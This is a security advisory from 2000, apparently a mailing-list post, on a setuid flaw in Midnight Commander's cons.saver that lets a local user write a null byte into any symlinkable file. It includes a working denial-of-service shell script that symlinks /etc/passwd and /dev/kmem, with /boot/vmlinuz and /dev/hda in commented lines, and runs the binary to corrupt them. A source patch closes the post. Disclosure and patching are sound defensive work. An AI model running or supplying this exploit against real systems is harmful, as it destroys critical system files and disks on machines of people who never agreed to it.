Subject: Problems with cons.saver Author: Maurycy Prodeus < z33d@eth-security.net > Hi, Many systems have a suid on cons.saver which is part of midnight commander package. Standard location of this binary is /usr/lib/mc/bin/cons.saver. There is a bug, which allows luser to write '\0' char to any symlinkable file in system. So it can be very destructive, I wrote simple example of DoS. Technical details ... it isn't common bug. Cons.saver doesn't check if stdout is opened. Next, it checks if argv[1] is a terminal file. First, file is opened with O_RDWR flag and then it checks if this file is character device. When error occures, cons.saver doesn't close this file. Later, NULL character is written to 1 fd. (our 'fake' stdout) I wrote temporary patch, but Solar's OpenWall Patch should be enough. - z33d ------------------------------------------------------------------------ I'm looking for job :: http://z33d.eth-security.net/job.html ------------------------------------------------------------------------ => Proof of concept: #!/bin/sh # *---------------------------------------------------------* # Slaughterhouse ver. 1.0 by z33d@eth-security.net (C) 2000 | # Bloody, Midnight DoS ;> with suid cons.saver # Dedicated to my lovely mother. # : Greetz # * (...) Oczy niebieskie (...) # - y3t1 - twe zyczenie jest dla mnie rozkazem :) # - wroclaw's killers <=> dyziu, decker, kanedaa, korie, viedzmin (...) # - argante development team (lcamtuf,bulba,artur,marcin,bikappa,honey ...) # - #sigsegv (funkysh, y3t1, cliph, detergent, kris, venglin ...) # - sister of night # - other ppl like mareczek, grubszy, karol, adam, wojtas, siebylnikov, # slodka Asia (...) | # *---------------------------------------------------------* if [ -u /usr/lib/mc/bin/cons.saver ]; then echo "Zdarza sie." else echo "Swoja matke przepros ..." exit 0 fi cat >/tmp/rzeznia.c <<_eof_ #include #include main(){ close(0); close(1); execl("/usr/lib/mc/bin/cons.saver","cons.saver","/tmp/tty13",NULL); printf("To jakies fatalne nieporozumienie...\n");} _eof_ gcc /tmp/rzeznia.c -o /tmp/rzeznia rm -f /tmp/rzeznia.c if [ -x /tmp/rzeznia ]; then echo "On naostrzyl juz noz ... mial rowek i trojkatny ksztalt" else echo "ZZZZZZz Zyz yzyzyyzyzyzyzyyy y y . . ." exit 0 fi ln -s /etc/passwd /tmp/tty13 /tmp/rzeznia rm -f /tmp/tty13 ln -s /dev/kmem /tmp/tty13 /tmp/rzeznia rm -f /tmp/tty13 # Uzyj w razie potrzeby ;> # ln -s /boot/vmlinuz /tmp/tty13 # /tmp/rzeznia # rm -f /tmp/tty13 # ln -s /dev/hda /tmp/tty13 # /tmp/rzeznia echo "... " echo " he passed away" rm -f /tmp/rzeznia => My temporary patch --- mc-4.5.42/src/cons.saver.c Mon Dec 6 18:50:02 1999 +++ mc-4.5.42/src/cons.saver.c.z33d Sun Nov 12 17:20:48 2000 @@ -116,12 +116,15 @@ if (fd == -1) return -1; - if (fstat (fd, &stat_buf) == -1) + if (fstat (fd, &stat_buf) == -1){ + close(fd); return -1; + } /* Must be character device */ if (!S_ISCHR (stat_buf.st_mode)){ *msg = "Not a character device"; + close(fd); return -1; } @@ -132,17 +135,20 @@ /* Second time: must be console */ if ((stat_buf.st_rdev & 0xff00) != 0x0400){ *msg = "Not a console"; + close(fd); return -1; } if ((stat_buf.st_rdev & 0x00ff) > 63){ *msg = "Minor device number too big"; + close(fd); return -1; } /* Must be owned by the user */ if (stat_buf.st_uid != getuid ()){ *msg = "Not a owner"; + close(fd); return -1; } }